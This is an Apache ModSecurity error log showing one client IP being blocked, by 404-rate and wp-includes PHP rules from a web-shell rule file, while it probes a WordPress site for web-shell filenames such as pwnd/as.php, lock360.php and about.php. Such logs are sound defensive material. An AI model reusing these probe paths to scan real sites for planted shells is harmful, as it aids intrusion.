[Wed Jan 14 06:27:14.072603 2026] [:error] [pid 58977:tid 59003] [client 4.213.64.52:4957] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWbGwrlT6ggZLRx9QvALBQAAAhc"]
[Wed Jan 14 06:27:14.347749 2026] [:error] [pid 24710:tid 24717] [client 4.213.64.52:4953] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWbGwmXBo5bEhDEEhs1zjQAAAMU"]
[Wed Jan 14 06:27:14.626302 2026] [:error] [pid 58899:tid 58915] [client 4.213.64.52:4876] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWbGwgWViGQd5R44tHF9dQAAAYw"]
[Wed Jan 14 06:27:14.905221 2026] [:error] [pid 58899:tid 58916] [client 4.213.64.52:4480] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWbGwgWViGQd5R44tHF9dwAAAY0"]
[Wed Jan 14 06:27:15.185607 2026] [:error] [pid 24601:tid 24622] [client 4.213.64.52:4931] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aWbGw0CtWkZ9rlKW5n-KAwAAAAw"]
[Wed Jan 14 06:27:15.462972 2026] [:error] [pid 24602:tid 24642] [client 4.213.64.52:5035] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aWbGw0ooYwabcb9R9fxAdwAAAEQ"]
[Wed Jan 14 06:27:15.742356 2026] [:error] [pid 24601:tid 24617] [client 4.213.64.52:4990] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aWbGw0CtWkZ9rlKW5n-KBAAAAAc"]
[Wed Jan 14 06:27:16.023209 2026] [:error] [pid 59074:tid 59079] [client 4.213.64.52:4969] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aWbGxE_KrJ818pzhB3xv6AAAAkM"]
[Wed Jan 14 06:27:16.299890 2026] [:error] [pid 24601:tid 24611] [client 4.213.64.52:4991] [client 4.213.64.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aWbGxECtWkZ9rlKW5n-KBwAAAAE"]
[Wed Jan 14 06:27:16.573288 2026] [:error] [pid 24603:tid 24677] [client 4.213.64.52:4939] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aWbGxJPBJGFGN8VT8_SxGgAAAIw"]
[Wed Jan 14 06:27:16.854079 2026] [:error] [pid 24710:tid 24726] [client 4.213.64.52:5016] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aWbGxGXBo5bEhDEEhs1zkAAAAM4"]
[Wed Jan 14 06:27:17.128162 2026] [:error] [pid 59074:tid 59085] [client 4.213.64.52:5015] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aWbGxU_KrJ818pzhB3xv6wAAAkk"]
[Wed Jan 14 06:27:17.404211 2026] [:error] [pid 24602:tid 24652] [client 4.213.64.52:5046] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aWbGxUooYwabcb9R9fxAgAAAAE4"]
[Wed Jan 14 06:27:17.676638 2026] [:error] [pid 24601:tid 24623] [client 4.213.64.52:4528] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aWbGxUCtWkZ9rlKW5n-KCAAAAA0"]
[Wed Jan 14 06:27:17.956069 2026] [:error] [pid 58899:tid 58905] [client 4.213.64.52:4483] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aWbGxQWViGQd5R44tHF9fQAAAYI"]
[Wed Jan 14 06:27:18.234589 2026] [:error] [pid 58901:tid 58944] [client 4.213.64.52:5052] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aWbGxr3kQSrcqIWtO0o4FAAAAc4"]
[Wed Jan 14 06:27:18.514277 2026] [:error] [pid 24601:tid 24631] [client 4.213.64.52:5029] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aWbGxkCtWkZ9rlKW5n-KCgAAABU"]
[Wed Jan 14 06:27:18.788440 2026] [:error] [pid 24710:tid 24733] [client 4.213.64.52:4947] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aWbGxmXBo5bEhDEEhs1zmAAAANU"]
[Wed Jan 14 06:27:19.062154 2026] [:error] [pid 58901:tid 58935] [client 4.213.64.52:5021] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aWbGx73kQSrcqIWtO0o4GQAAAcU"]
[Wed Jan 14 06:27:19.332506 2026] [:error] [pid 24710:tid 24732] [client 4.213.64.52:5028] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aWbGx2XBo5bEhDEEhs1znQAAANQ"]
[Wed Jan 14 06:27:19.608874 2026] [:error] [pid 24710:tid 24721] [client 4.213.64.52:4968] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aWbGx2XBo5bEhDEEhs1znwAAAMk"]
[Wed Jan 14 06:27:19.899061 2026] [:error] [pid 58901:tid 58940] [client 4.213.64.52:4513] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aWbGx73kQSrcqIWtO0o4HgAAAco"]
[Wed Jan 14 06:27:20.174962 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:5095] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aWbGyL3kQSrcqIWtO0o4HwAAAcY"]
[Wed Jan 14 06:27:20.462758 2026] [:error] [pid 58901:tid 58938] [client 4.213.64.52:4987] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aWbGyL3kQSrcqIWtO0o4IAAAAcg"]
[Wed Jan 14 06:27:20.741315 2026] [:error] [pid 58699:tid 58712] [client 4.213.64.52:4499] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aWbGyOYdPBtkMLK2Sdq2cgAAAQo"]
[Wed Jan 14 06:27:21.053691 2026] [:error] [pid 24603:tid 24669] [client 4.213.64.52:4933] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aWbGyZPBJGFGN8VT8_SxHgAAAIQ"]
[Wed Jan 14 06:27:21.336862 2026] [:error] [pid 58699:tid 58710] [client 4.213.64.52:5049] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aWbGyeYdPBtkMLK2Sdq2dQAAAQg"]
[Wed Jan 14 06:27:21.616596 2026] [:error] [pid 58899:tid 58922] [client 4.213.64.52:4506] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aWbGyQWViGQd5R44tHF9nAAAAZM"]
[Wed Jan 14 06:27:21.892722 2026] [:error] [pid 24603:tid 24674] [client 4.213.64.52:4982] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aWbGyZPBJGFGN8VT8_SxIAAAAIk"]
[Wed Jan 14 06:27:22.172767 2026] [:error] [pid 24710:tid 24726] [client 4.213.64.52:34980] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nns.php"] [unique_id "aWbGymXBo5bEhDEEhs1zpgAAAM4"]
[Wed Jan 14 06:27:22.446808 2026] [:error] [pid 58977:tid 58988] [client 4.213.64.52:4971] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nns.php"] [unique_id "aWbGyrlT6ggZLRx9QvALCQAAAgg"]
[Wed Jan 14 06:27:22.740519 2026] [:error] [pid 24602:tid 24646] [client 4.213.64.52:5109] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nns.php"] [unique_id "aWbGykooYwabcb9R9fxAiwAAAEg"]
[Wed Jan 14 06:27:23.019027 2026] [:error] [pid 58699:tid 58708] [client 4.213.64.52:4489] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nns.php"] [unique_id "aWbGy-YdPBtkMLK2Sdq2fQAAAQY"]
[Wed Jan 14 06:27:23.290247 2026] [:error] [pid 24603:tid 24676] [client 4.213.64.52:4935] [client 4.213.64.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "aWbGy5PBJGFGN8VT8_SxJQAAAIs"]
[Wed Jan 14 06:27:23.561715 2026] [:error] [pid 24710:tid 24720] [client 4.213.64.52:4889] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aWbGy2XBo5bEhDEEhs1zrgAAAMg"]
[Wed Jan 14 06:27:23.840676 2026] [:error] [pid 58699:tid 58715] [client 4.213.64.52:4985] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aWbGy-YdPBtkMLK2Sdq2fgAAAQ0"]
[Wed Jan 14 06:27:24.130298 2026] [:error] [pid 58868:tid 58886] [client 4.213.64.52:4937] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aWbGzE67yj8PZAmdsblyZAAAAVA"]
[Wed Jan 14 06:27:24.403869 2026] [:error] [pid 24603:tid 24682] [client 4.213.64.52:35040] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aWbGzJPBJGFGN8VT8_SxJwAAAJE"]
[Wed Jan 14 06:27:24.683610 2026] [:error] [pid 24602:tid 24650] [client 4.213.64.52:4983] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aWbGzEooYwabcb9R9fxAjgAAAEw"]
[Wed Jan 14 06:27:24.962844 2026] [:error] [pid 58901:tid 58939] [client 4.213.64.52:4959] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aWbGzL3kQSrcqIWtO0o4KwAAAck"]
[Wed Jan 14 06:27:25.247936 2026] [:error] [pid 59074:tid 59098] [client 4.213.64.52:5048] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aWbGzU_KrJ818pzhB3xv9AAAAlY"]
[Wed Jan 14 06:27:25.546181 2026] [:error] [pid 58868:tid 58871] [client 4.213.64.52:4518] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aWbGzU67yj8PZAmdsblyZgAAAUE"]
[Wed Jan 14 06:27:25.824467 2026] [:error] [pid 24710:tid 24716] [client 4.213.64.52:4948] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aWbGzWXBo5bEhDEEhs1zswAAAMQ"]
[Wed Jan 14 06:27:26.095524 2026] [:error] [pid 58699:tid 58709] [client 4.213.64.52:5079] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aWbGzuYdPBtkMLK2Sdq2gAAAAQc"]
[Wed Jan 14 06:27:26.385933 2026] [:error] [pid 58899:tid 58923] [client 4.213.64.52:34995] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aWbGzgWViGQd5R44tHF9sAAAAZQ"]
[Wed Jan 14 06:27:26.660562 2026] [:error] [pid 24603:tid 24665] [client 4.213.64.52:5044] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aWbGzpPBJGFGN8VT8_SxKwAAAIA"]
[Wed Jan 14 06:27:26.937886 2026] [:error] [pid 58977:tid 58991] [client 4.213.64.52:4989] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aWbGzrlT6ggZLRx9QvALDwAAAgs"]
[Wed Jan 14 06:27:27.209107 2026] [:error] [pid 24602:tid 24660] [client 4.213.64.52:4487] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aWbGz0ooYwabcb9R9fxAlAAAAFY"]
[Wed Jan 14 06:27:27.478514 2026] [:error] [pid 58901:tid 58954] [client 4.213.64.52:5026] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aWbGz73kQSrcqIWtO0o4MAAAAdg"]
[Wed Jan 14 06:27:27.758512 2026] [:error] [pid 24603:tid 24683] [client 4.213.64.52:35057] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aWbGz5PBJGFGN8VT8_SxLQAAAJI"]
[Wed Jan 14 06:27:28.034523 2026] [:error] [pid 58868:tid 58875] [client 4.213.64.52:4514] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aWbG0E67yj8PZAmdsblybAAAAUU"]
[Wed Jan 14 06:27:28.320627 2026] [:error] [pid 58901:tid 58937] [client 4.213.64.52:4929] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aWbG0L3kQSrcqIWtO0o4NQAAAcc"]
[Wed Jan 14 06:27:28.593643 2026] [:error] [pid 24601:tid 24625] [client 4.213.64.52:4875] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aWbG0ECtWkZ9rlKW5n-KEAAAAA8"]
[Wed Jan 14 06:27:28.890456 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:5028] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbG0L3kQSrcqIWtO0o4OAAAAcI"]
[Wed Jan 14 06:27:29.173909 2026] [:error] [pid 24603:tid 24680] [client 4.213.64.52:5008] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbG0ZPBJGFGN8VT8_SxMwAAAI8"]
[Wed Jan 14 06:27:29.460787 2026] [:error] [pid 24710:tid 24726] [client 4.213.64.52:4802] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aWbG0WXBo5bEhDEEhs1zuQAAAM4"]
